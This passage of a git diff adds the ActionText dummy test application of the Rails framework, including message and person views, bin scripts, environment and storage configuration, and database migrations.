+    <%= form.text_field :subject %>
+  </div>
+
+  <div class="field">
+    <trix-toolbar id="toolbar">
+      <button type="button" tabindex="-1" data-trix-action="attachFiles">Attach Files</button>
+      <% Person.all.each do |person| %>
+        <button type="button" tabindex="-1" data-trix-action="x-attach">
+          Mention <%= person.name %>
+
+          <%= tag.template(
+            render(partial: person.to_editor_content_attachment_partial_path, object: person, as: :person),
+            data: { action_text_attachment: { sgid: person.attachable_sgid } }
+          ) %>
+        </button>
+      <% end %>
+    </trix-toolbar>
+
+    <%= form.label :content, "Message content label" %>
+    <%= form.rich_textarea :content, class: "trix-content", toolbar: "toolbar",
+          placeholder: "Your message here", aria: { label: "Message content aria-label" } %>
+  </div>
+
+  <div class="actions">
+    <%= form.submit %>
+  </div>
+<% end %>
diff --git a/actiontext/test/dummy/app/views/messages/edit.html.erb b/actiontext/test/dummy/app/views/messages/edit.html.erb
new file mode 100644
index 0000000000000..90ad68c7881e5
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/edit.html.erb
@@ -0,0 +1,6 @@
+<h1>Editing Message</h1>
+
+<%= render 'form', message: @message %>
+
+<%= link_to 'Show', @message %> |
+<%= link_to 'Back', messages_path %>
diff --git a/actiontext/test/dummy/app/views/messages/edit.json.erb b/actiontext/test/dummy/app/views/messages/edit.json.erb
new file mode 100644
index 0000000000000..9c4d24a50a4c1
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/edit.json.erb
@@ -0,0 +1,4 @@
+{
+  "id": <%= @message.id %>,
+  "form": "<%= j render partial: "form", formats: :html, locals: { message: @message } %>"
+}
diff --git a/actiontext/test/dummy/app/views/messages/index.html.erb b/actiontext/test/dummy/app/views/messages/index.html.erb
new file mode 100644
index 0000000000000..a8c97468c6900
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/index.html.erb
@@ -0,0 +1,29 @@
+<p id="notice"><%= notice %></p>
+
+<h1>Messages</h1>
+
+<table>
+  <thead>
+    <tr>
+      <th>Subject</th>
+      <th>Content</th>
+      <th colspan="3"></th>
+    </tr>
+  </thead>
+
+  <tbody>
+    <% @messages.each do |message| %>
+      <tr>
+        <td><%= message.subject %></td>
+        <td><%= message.content %></td>
+        <td><%= link_to 'Show', message %></td>
+        <td><%= link_to 'Edit', edit_message_path(message) %></td>
+        <td><%= link_to 'Destroy', message, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+      </tr>
+    <% end %>
+  </tbody>
+</table>
+
+<br>
+
+<%= link_to 'New Message', new_message_path %>
diff --git a/actiontext/test/dummy/app/views/messages/new.html.erb b/actiontext/test/dummy/app/views/messages/new.html.erb
new file mode 100644
index 0000000000000..6cbd3b8ffe5c0
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New Message</h1>
+
+<%= render 'form', message: @message %>
+
+<%= link_to 'Back', messages_path %>
diff --git a/actiontext/test/dummy/app/views/messages/show.html.erb b/actiontext/test/dummy/app/views/messages/show.html.erb
new file mode 100644
index 0000000000000..50fa9534212bd
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/show.html.erb
@@ -0,0 +1,8 @@
+<p id="notice"><%= notice %></p>
+
+<h1 id="subject"><%= @message.subject %></h1>
+
+<div id="content"><%= @message.content %></div>
+
+<%= link_to 'Edit', edit_message_path(@message) %> |
+<%= link_to 'Back', messages_path %>
diff --git a/actiontext/test/dummy/app/views/messages/show.json.erb b/actiontext/test/dummy/app/views/messages/show.json.erb
new file mode 100644
index 0000000000000..7db887350ad89
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages/show.json.erb
@@ -0,0 +1,5 @@
+{
+  "id": <%= @message.id %>,
+  "subject": "<%= j @message.subject %>",
+  "content": "<%= j @message.content %>"
+}
diff --git a/actiontext/test/dummy/app/views/messages_mailer/notification.html.erb b/actiontext/test/dummy/app/views/messages_mailer/notification.html.erb
new file mode 100644
index 0000000000000..e65604cecf967
--- /dev/null
+++ b/actiontext/test/dummy/app/views/messages_mailer/notification.html.erb
@@ -0,0 +1 @@
+<div id="message-content"><%= @message.content %></div>
diff --git a/actiontext/test/dummy/app/views/people/_attachable.html.erb b/actiontext/test/dummy/app/views/people/_attachable.html.erb
new file mode 100644
index 0000000000000..b423eb498119a
--- /dev/null
+++ b/actiontext/test/dummy/app/views/people/_attachable.html.erb
@@ -0,0 +1 @@
+<span class="mentioned-person"><%= person.name %></span>
diff --git a/actiontext/test/dummy/app/views/people/_missing_attachable.html.erb b/actiontext/test/dummy/app/views/people/_missing_attachable.html.erb
new file mode 100644
index 0000000000000..9bf6141bc0dac
--- /dev/null
+++ b/actiontext/test/dummy/app/views/people/_missing_attachable.html.erb
@@ -0,0 +1 @@
+<span class="missing-attachable">Missing person</span>
diff --git a/actiontext/test/dummy/app/views/people/_trix_content_attachment.html.erb b/actiontext/test/dummy/app/views/people/_trix_content_attachment.html.erb
new file mode 100644
index 0000000000000..7db2334126d20
--- /dev/null
+++ b/actiontext/test/dummy/app/views/people/_trix_content_attachment.html.erb
@@ -0,0 +1,3 @@
+<span class="mentionable-person" gid="<%= person.to_gid %>">
+  <%= person.name %>
+</span>
diff --git a/actiontext/test/dummy/bin/rails b/actiontext/test/dummy/bin/rails
new file mode 100755
index 0000000000000..efc0377492f7e
--- /dev/null
+++ b/actiontext/test/dummy/bin/rails
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path("../config/application", __dir__)
+require_relative "../config/boot"
+require "rails/commands"
diff --git a/actiontext/test/dummy/bin/rake b/actiontext/test/dummy/bin/rake
new file mode 100755
index 0000000000000..4fbf10b960ef7
--- /dev/null
+++ b/actiontext/test/dummy/bin/rake
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require_relative "../config/boot"
+require "rake"
+Rake.application.run
diff --git a/actiontext/test/dummy/bin/setup b/actiontext/test/dummy/bin/setup
new file mode 100755
index 0000000000000..3cd5a9d7801ca
--- /dev/null
+++ b/actiontext/test/dummy/bin/setup
@@ -0,0 +1,33 @@
+#!/usr/bin/env ruby
+require "fileutils"
+
+# path to your application root.
+APP_ROOT = File.expand_path("..", __dir__)
+
+def system!(*args)
+  system(*args, exception: true)
+end
+
+FileUtils.chdir APP_ROOT do
+  # This script is a way to set up or update your development environment automatically.
+  # This script is idempotent, so that you can run it at any time and get an expectable outcome.
+  # Add necessary setup steps to this file.
+
+  puts "== Installing dependencies =="
+  system! "gem install bundler --conservative"
+  system("bundle check") || system!("bundle install")
+
+  # puts "\n== Copying sample files =="
+  # unless File.exist?("config/database.yml")
+  #   FileUtils.cp "config/database.yml.sample", "config/database.yml"
+  # end
+
+  puts "\n== Preparing database =="
+  system! "bin/rails db:prepare"
+
+  puts "\n== Removing old logs and tempfiles =="
+  system! "bin/rails log:clear tmp:clear"
+
+  puts "\n== Restarting application server =="
+  system! "bin/rails restart"
+end
diff --git a/actiontext/test/dummy/config.ru b/actiontext/test/dummy/config.ru
new file mode 100644
index 0000000000000..4a3c09a6889a9
--- /dev/null
+++ b/actiontext/test/dummy/config.ru
@@ -0,0 +1,6 @@
+# This file is used by Rack-based servers to start the application.
+
+require_relative "config/environment"
+
+run Rails.application
+Rails.application.load_server
diff --git a/actiontext/test/dummy/config/application.rb b/actiontext/test/dummy/config/application.rb
new file mode 100644
index 0000000000000..8154f557052d9
--- /dev/null
+++ b/actiontext/test/dummy/config/application.rb
@@ -0,0 +1,27 @@
+require_relative "boot"
+
+require "rails/all"
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+module Dummy
+  class Application < Rails::Application
+    config.load_defaults Rails::VERSION::STRING.to_f
+
+    # For compatibility with applications that use this config
+    config.action_controller.include_all_helpers = false
+
+    config.active_record.table_name_prefix = 'prefix_'
+    config.active_record.table_name_suffix = '_suffix'
+
+    # Configuration for the application, engines, and railties goes here.
+    #
+    # These settings can be overridden in specific environments using the files
+    # in config/environments, which are processed later.
+    #
+    # config.time_zone = "Central Time (US & Canada)"
+    # config.eager_load_paths << Rails.root.join("extras")
+  end
+end
diff --git a/actiontext/test/dummy/config/boot.rb b/actiontext/test/dummy/config/boot.rb
new file mode 100644
index 0000000000000..d5e0f0fdc80b8
--- /dev/null
+++ b/actiontext/test/dummy/config/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../../../../Gemfile", __dir__)
+
+require "bundler/setup" if File.exist?(ENV["BUNDLE_GEMFILE"])
+$LOAD_PATH.unshift File.expand_path("../../../lib", __dir__)
diff --git a/actiontext/test/dummy/config/cable.yml b/actiontext/test/dummy/config/cable.yml
new file mode 100644
index 0000000000000..98367f8954247
--- /dev/null
+++ b/actiontext/test/dummy/config/cable.yml
@@ -0,0 +1,10 @@
+development:
+  adapter: async
+
+test:
+  adapter: test
+
+production:
+  adapter: redis
+  url: <%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
+  channel_prefix: dummy_production
diff --git a/actiontext/test/dummy/config/database.yml b/actiontext/test/dummy/config/database.yml
new file mode 100644
index 0000000000000..796466ba23eed
--- /dev/null
+++ b/actiontext/test/dummy/config/database.yml
@@ -0,0 +1,25 @@
+# SQLite. Versions 3.8.0 and up are supported.
+#   gem install sqlite3
+#
+#   Ensure the SQLite 3 gem is defined in your Gemfile
+#   gem "sqlite3"
+#
+default: &default
+  adapter: sqlite3
+  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
+  timeout: 5000
+
+development:
+  <<: *default
+  database: storage/development.sqlite3
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test:
+  <<: *default
+  database: storage/test.sqlite3
+
+production:
+  <<: *default
+  database: storage/production.sqlite3
diff --git a/actiontext/test/dummy/config/environment.rb b/actiontext/test/dummy/config/environment.rb
new file mode 100644
index 0000000000000..cac5315775258
--- /dev/null
+++ b/actiontext/test/dummy/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require_relative "application"
+
+# Initialize the Rails application.
+Rails.application.initialize!
diff --git a/actiontext/test/dummy/config/environments/development.rb b/actiontext/test/dummy/config/environments/development.rb
new file mode 100644
index 0000000000000..4d134bb530348
--- /dev/null
+++ b/actiontext/test/dummy/config/environments/development.rb
@@ -0,0 +1,73 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded any time
+  # it changes. This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.enable_reloading = true
+
+  # Do not eager load code on boot.
+  config.eager_load = false
+
+  # Show full error reports.
+  config.consider_all_requests_local = true
+
+  # Enable server timing
+  config.server_timing = true
+
+  # Enable/disable caching. By default caching is disabled.
+  # Run rails dev:cache to toggle caching.
+  if Rails.root.join("tmp/caching-dev.txt").exist?
+    config.action_controller.perform_caching = true
+    config.action_controller.enable_fragment_cache_logging = true
+
+    config.cache_store = :memory_store
+    config.public_file_server.headers = {
+      "Cache-Control" => "public, max-age=#{2.days.to_i}"
+    }
+  else
+    config.action_controller.perform_caching = false
+
+    config.cache_store = :null_store
+  end
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  config.action_mailer.perform_caching = false
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raise an error on page load if there are pending migrations.
+  config.active_record.migration_error = :page_load
+
+  # Highlight code that triggered database queries in logs.
+  config.active_record.verbose_query_logs = true
+
+  # Suppress logger output for asset requests.
+  config.assets.quiet = true
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Uncomment if you wish to allow Action Cable access from any origin.
+  # config.action_cable.disable_request_forgery_protection = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/actiontext/test/dummy/config/environments/production.rb b/actiontext/test/dummy/config/environments/production.rb
new file mode 100644
index 0000000000000..999e332a7e2be
--- /dev/null
+++ b/actiontext/test/dummy/config/environments/production.rb
@@ -0,0 +1,89 @@
+require "active_support/core_ext/integer/time"
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.enable_reloading = false
+
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both threaded web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"]
+  # or in config/master.key. This key is used to decrypt credentials (and other encrypted files).
+  # config.require_master_key = true
+
+  # Disable serving static files from `public/`, relying on NGINX/Apache to do so instead.
+  # config.public_file_server.enabled = false
+
+  # Compress CSS using a preprocessor.
+  # config.assets.css_compressor = :sass
+
+  # Do not fall back to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.asset_host = "http://assets.example.com"
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+  # config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" # for NGINX
+
+  # Store uploaded files on the local file system (see config/storage.yml for options).
+  config.active_storage.service = :local
+
+  # Mount Action Cable outside main process or domain.
+  # config.action_cable.mount_path = nil
+  # config.action_cable.url = "wss://example.com/cable"
+  # config.action_cable.allowed_request_origins = [ "http://example.com", /http:\/\/example.*/ ]
+
+  # Assume all access to the app is happening through a SSL-terminating reverse proxy.
+  # Can be used together with config.force_ssl for Strict-Transport-Security and secure cookies.
+  # config.assume_ssl = true
+
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # Log to STDOUT by default
+  config.logger = ActiveSupport::Logger.new(STDOUT)
+    .tap  { |logger| logger.formatter = ::Logger::Formatter.new }
+    .then { |logger| ActiveSupport::TaggedLogging.new(logger) }
+
+  # Prepend all log lines with the following tags.
+  config.log_tags = [ :request_id ]
+
+  # "info" includes generic and useful information about system operation, but avoids logging too much
+  # information to avoid inadvertent exposure of personally identifiable information (PII). Use "debug"
+  # for everything.
+  config.log_level = ENV.fetch("RAILS_LOG_LEVEL") { "info" }
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Use a real queuing backend for Active Job (and separate queues per environment).
+  # config.active_job.queue_adapter     = :resque
+  # config.active_job.queue_name_prefix = "dummy_production"
+
+  config.action_mailer.perform_caching = false
+
+  # Ignore bad email addresses and do not raise email delivery errors.
+  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+  # config.action_mailer.raise_delivery_errors = false
+
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation cannot be found).
+  config.i18n.fallbacks = true
+
+  # Don't log any deprecations.
+  config.active_support.report_deprecations = false
+
+  # Do not dump schema after migrations.
+  config.active_record.dump_schema_after_migration = false
+end
diff --git a/actiontext/test/dummy/config/environments/test.rb b/actiontext/test/dummy/config/environments/test.rb
new file mode 100644
index 0000000000000..5b1b89421f004
--- /dev/null
+++ b/actiontext/test/dummy/config/environments/test.rb
@@ -0,0 +1,63 @@
+require "active_support/core_ext/integer/time"
+
+# The test environment is used exclusively to run your application's
+# test suite. You never need to work with it otherwise. Remember that
+# your test database is "scratch space" for the test suite and is wiped
+# and recreated between test runs. Don't rely on the data there!
+
+Rails.application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # While tests run files are not watched, reloading is not necessary.
+  config.enable_reloading = false
+
+  # Eager loading loads your entire application. When running a single test locally,
+  # this is usually not necessary, and can slow down your test suite. However, it's
+  # recommended that you enable it in continuous integration systems to ensure eager
+  # loading is working properly before deploying your code.
+  config.eager_load = ENV["CI"].present?
+
+  # Configure public file server for tests with Cache-Control for performance.
+  config.public_file_server.headers = {
+    "Cache-Control" => "public, max-age=#{1.hour.to_i}"
+  }
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+  config.cache_store = :null_store
+
+  # Raise exceptions instead of rendering exception templates.
+  config.action_dispatch.show_exceptions = :rescuable
+
+  # Disable request forgery protection in test environment.
+  config.action_controller.allow_forgery_protection = false
+
+  # Store uploaded files on the local file system in a temporary directory.
+  config.active_storage.service = :test
+
+  config.action_mailer.perform_caching = false
+
+  # Tell Action Mailer not to deliver emails to the real world.
+  # The :test delivery method accumulates sent emails in the
+  # ActionMailer::Base.deliveries array.
+  config.action_mailer.delivery_method = :test
+
+  # Print deprecation notices to the stderr.
+  config.active_support.deprecation = :stderr
+
+  # Raise exceptions for disallowed deprecations.
+  config.active_support.disallowed_deprecation = :raise
+
+  # Tell Active Support which deprecation messages to disallow.
+  config.active_support.disallowed_deprecation_warnings = []
+
+  # Raises error for missing translations.
+  # config.i18n.raise_on_missing_translations = true
+
+  # Annotate rendered view with file names.
+  # config.action_view.annotate_rendered_view_with_filenames = true
+
+  # Raise error when a before_action's only/except options reference missing actions
+  config.action_controller.raise_on_missing_callback_actions = true
+end
diff --git a/actiontext/test/dummy/config/importmap.rb b/actiontext/test/dummy/config/importmap.rb
new file mode 100644
index 0000000000000..c2071c6baf87a
--- /dev/null
+++ b/actiontext/test/dummy/config/importmap.rb
@@ -0,0 +1,6 @@
+# Pin npm packages by running ./bin/importmap
+
+pin "application", preload: true
+pin "@hotwired/turbo-rails", to: "turbo.min.js", preload: true
+pin "trix"
+pin "@rails/actiontext", to: "actiontext.esm.js"
diff --git a/actiontext/test/dummy/config/initializers/assets.rb b/actiontext/test/dummy/config/initializers/assets.rb
new file mode 100644
index 0000000000000..2eeef966fe872
--- /dev/null
+++ b/actiontext/test/dummy/config/initializers/assets.rb
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = "1.0"
+
+# Add additional assets to the asset load path.
+# Rails.application.config.assets.paths << Emoji.images_path
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in the app/assets
+# folder are already added.
+# Rails.application.config.assets.precompile += %w( admin.js admin.css )
diff --git a/actiontext/test/dummy/config/initializers/content_security_policy.rb b/actiontext/test/dummy/config/initializers/content_security_policy.rb
new file mode 100644
index 0000000000000..b3076b38fe143
--- /dev/null
+++ b/actiontext/test/dummy/config/initializers/content_security_policy.rb
@@ -0,0 +1,25 @@
+# Be sure to restart your server when you modify this file.
+
+# Define an application-wide content security policy.
+# See the Securing Rails Applications Guide for more information:
+# https://guides.rubyonrails.org/security.html#content-security-policy-header
+
+# Rails.application.configure do
+#   config.content_security_policy do |policy|
+#     policy.default_src :self, :https
+#     policy.font_src    :self, :https, :data
+#     policy.img_src     :self, :https, :data
+#     policy.object_src  :none
+#     policy.script_src  :self, :https
+#     policy.style_src   :self, :https
+#     # Specify URI for violation reports
+#     # policy.report_uri "/csp-violation-report-endpoint"
+#   end
+#
+#   # Generate session nonces for permitted importmap, inline scripts, and inline styles.
+#   config.content_security_policy_nonce_generator = ->(request) { request.session.id.to_s }
+#   config.content_security_policy_nonce_directives = %w(script-src style-src)
+#
+#   # Report violations without enforcing the policy.
+#   # config.content_security_policy_report_only = true
+# end
diff --git a/actiontext/test/dummy/config/initializers/filter_parameter_logging.rb b/actiontext/test/dummy/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000000000..adc6568ce8372
--- /dev/null
+++ b/actiontext/test/dummy/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure parameters to be filtered from the log file. Use this to limit dissemination of
+# sensitive information. See the ActiveSupport::ParameterFilter documentation for supported
+# notations and behaviors.
+Rails.application.config.filter_parameters += [
+  :passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
+]
diff --git a/actiontext/test/dummy/config/initializers/inflections.rb b/actiontext/test/dummy/config/initializers/inflections.rb
new file mode 100644
index 0000000000000..3860f659ead02
--- /dev/null
+++ b/actiontext/test/dummy/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.plural /^(ox)$/i, "\\1en"
+#   inflect.singular /^(ox)en/i, "\\1"
+#   inflect.irregular "person", "people"
+#   inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+#   inflect.acronym "RESTful"
+# end
diff --git a/actiontext/test/dummy/config/locales/en.yml b/actiontext/test/dummy/config/locales/en.yml
new file mode 100644
index 0000000000000..6c349ae5e3743
--- /dev/null
+++ b/actiontext/test/dummy/config/locales/en.yml
@@ -0,0 +1,31 @@
+# Files in the config/locales directory are used for internationalization and
+# are automatically loaded by Rails. If you want to use locales other than
+# English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+#     I18n.t "hello"
+#
+# In views, this is aliased to just `t`:
+#
+#     <%= t("hello") %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+#     I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more about the API, please read the Rails Internationalization guide
+# at https://guides.rubyonrails.org/i18n.html.
+#
+# Be aware that YAML interprets the following case-insensitive strings as
+# booleans: `true`, `false`, `on`, `off`, `yes`, `no`. Therefore, these strings
+# must be quoted to be interpreted as strings. For example:
+#
+#     en:
+#       "yes": yup
+#       enabled: "ON"
+
+en:
+  hello: "Hello world"
diff --git a/actiontext/test/dummy/config/puma.rb b/actiontext/test/dummy/config/puma.rb
new file mode 100644
index 0000000000000..09a5c4b7865e7
--- /dev/null
+++ b/actiontext/test/dummy/config/puma.rb
@@ -0,0 +1,38 @@
+# This configuration file will be evaluated by Puma. The top-level methods that
+# are invoked here are part of Puma's configuration DSL. For more information
+# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
+
+# Puma can serve each request in a thread from an internal thread pool.
+# The `threads` method setting takes two numbers: a minimum and maximum.
+# Any libraries that use thread pools should be configured to match
+# the maximum value specified for Puma. Default is set to 5 threads for minimum
+# and maximum; this matches the default thread size of Active Record.
+max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
+min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
+threads min_threads_count, max_threads_count
+
+# Specifies that the worker count should equal the number of processors in production.
+if ENV["RAILS_ENV"] == "production"
+  worker_count = Integer(ENV.fetch("WEB_CONCURRENCY") { Concurrent.physical_processor_count })
+  workers worker_count if worker_count > 1
+end
+
+# Specifies the `worker_timeout` threshold that Puma will use to wait before
+# terminating a worker in development environments.
+worker_timeout 3600 if ENV.fetch("RAILS_ENV", "development") == "development"
+
+# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
+port ENV.fetch("PORT") { 3000 }
+
+# Specifies the `environment` that Puma will run in.
+environment ENV.fetch("RAILS_ENV") { "development" }
+
+# Specifies the `pidfile` that Puma will use.
+if ENV["PIDFILE"]
+  pidfile ENV["PIDFILE"]
+else
+  pidfile "tmp/pids/server.pid" if ENV.fetch("RAILS_ENV", "development") == "development"
+end
+
+# Allow puma to be restarted by `bin/rails restart` command.
+plugin :tmp_restart
diff --git a/actiontext/test/dummy/config/routes.rb b/actiontext/test/dummy/config/routes.rb
new file mode 100644
index 0000000000000..e7b45701e14e2
--- /dev/null
+++ b/actiontext/test/dummy/config/routes.rb
@@ -0,0 +1,7 @@
+Rails.application.routes.draw do
+  resources :messages
+
+  namespace :admin do
+    resources :messages, only: [:show]
+  end
+end
diff --git a/actiontext/test/dummy/config/storage.yml b/actiontext/test/dummy/config/storage.yml
new file mode 100644
index 0000000000000..927dc537c8a6c
--- /dev/null
+++ b/actiontext/test/dummy/config/storage.yml
@@ -0,0 +1,27 @@
+test:
+  service: Disk
+  root: <%= Rails.root.join("tmp/storage") %>
+
+local:
+  service: Disk
+  root: <%= Rails.root.join("storage") %>
+
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+# amazon:
+#   service: S3
+#   access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+#   secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+#   region: us-east-1
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# Remember not to checkin your GCS keyfile to a repository
+# google:
+#   service: GCS
+#   project: your_project
+#   credentials: <%= Rails.root.join("path/to/gcs.keyfile") %>
+#   bucket: your_own_bucket-<%= Rails.env %>
+
+# mirror:
+#   service: Mirror
+#   primary: local
+#   mirrors: [ amazon, google, microsoft ]
diff --git a/actiontext/test/dummy/db/migrate/20180208205311_create_messages.rb b/actiontext/test/dummy/db/migrate/20180208205311_create_messages.rb
new file mode 100644
index 0000000000000..355284082449a
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20180208205311_create_messages.rb
@@ -0,0 +1,8 @@
+class CreateMessages < ActiveRecord::Migration[6.0]
+  def change
+    create_table :messages do |t|
+      t.string :subject
+      t.timestamps
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/migrate/20180212164506_create_active_storage_tables.rb b/actiontext/test/dummy/db/migrate/20180212164506_create_active_storage_tables.rb
new file mode 100644
index 0000000000000..87798267b4764
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20180212164506_create_active_storage_tables.rb
@@ -0,0 +1,36 @@
+# This migration comes from active_storage (originally 20170806125915)
+class CreateActiveStorageTables < ActiveRecord::Migration[5.2]
+  def change
+    create_table :active_storage_blobs do |t|
+      t.string   :key,          null: false
+      t.string   :filename,     null: false
+      t.string   :content_type
+      t.text     :metadata
+      t.string   :service_name, null: false
+      t.bigint   :byte_size,    null: false
+      t.string   :checksum,     null: false
+      t.datetime :created_at,   null: false
+
+      t.index [ :key ], unique: true
+    end
+
+    create_table :active_storage_attachments do |t|
+      t.string     :name,     null: false
+      t.references :record,   null: false, polymorphic: true, index: false
+      t.references :blob,     null: false
+
+      t.datetime :created_at, null: false
+
+      t.index [ :record_type, :record_id, :name, :blob_id ], name: "index_active_storage_attachments_uniqueness", unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+
+    create_table :active_storage_variant_records do |t|
+      t.belongs_to :blob, null: false, index: false
+      t.string :variation_digest, null: false
+
+      t.index %i[ blob_id variation_digest ], name: "index_active_storage_variant_records_uniqueness", unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/migrate/20180528164100_create_action_text_tables.rb b/actiontext/test/dummy/db/migrate/20180528164100_create_action_text_tables.rb
new file mode 100644
index 0000000000000..e7c66ea6aed68
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20180528164100_create_action_text_tables.rb
@@ -0,0 +1,13 @@
+class CreateActionTextTables < ActiveRecord::Migration[6.0]
+  def change
+    create_table :action_text_rich_texts do |t|
+      t.string     :name, null: false
+      t.text       :body, size: :long
+      t.references :record, null: false, polymorphic: true, index: false
+
+      t.timestamps
+
+      t.index [ :record_type, :record_id, :name ], name: "index_action_text_rich_texts_uniqueness", unique: true
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/migrate/20181003185713_create_people.rb b/actiontext/test/dummy/db/migrate/20181003185713_create_people.rb
new file mode 100644
index 0000000000000..6928a8e20d9db
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20181003185713_create_people.rb
@@ -0,0 +1,9 @@
+class CreatePeople < ActiveRecord::Migration[6.0]
+  def change
+    create_table :people do |t|
+      t.string :name
+
+      t.timestamps
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/migrate/20190305172303_create_pages.rb b/actiontext/test/dummy/db/migrate/20190305172303_create_pages.rb
new file mode 100644
index 0000000000000..3a71e55d94a3b
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20190305172303_create_pages.rb
@@ -0,0 +1,9 @@
+class CreatePages < ActiveRecord::Migration[6.0]
+  def change
+    create_table :pages do |t|
+      t.string :title
+
+      t.timestamps
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/migrate/20190317200724_create_reviews.rb b/actiontext/test/dummy/db/migrate/20190317200724_create_reviews.rb
new file mode 100644
index 0000000000000..96e0eab287dd4
--- /dev/null
+++ b/actiontext/test/dummy/db/migrate/20190317200724_create_reviews.rb
@@ -0,0 +1,8 @@
+class CreateReviews < ActiveRecord::Migration[6.0]
+  def change
+    create_table :reviews do |t|
+      t.belongs_to :message, null: false
+      t.string :author_name, null: false
+    end
+  end
+end
diff --git a/actiontext/test/dummy/db/schema.rb b/actiontext/test/dummy/db/schema.rb
new file mode 100644
index 0000000000000..8ad24850b0635
--- /dev/null
+++ b/actiontext/test/dummy/db/schema.rb
@@ -0,0 +1,78 @@
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
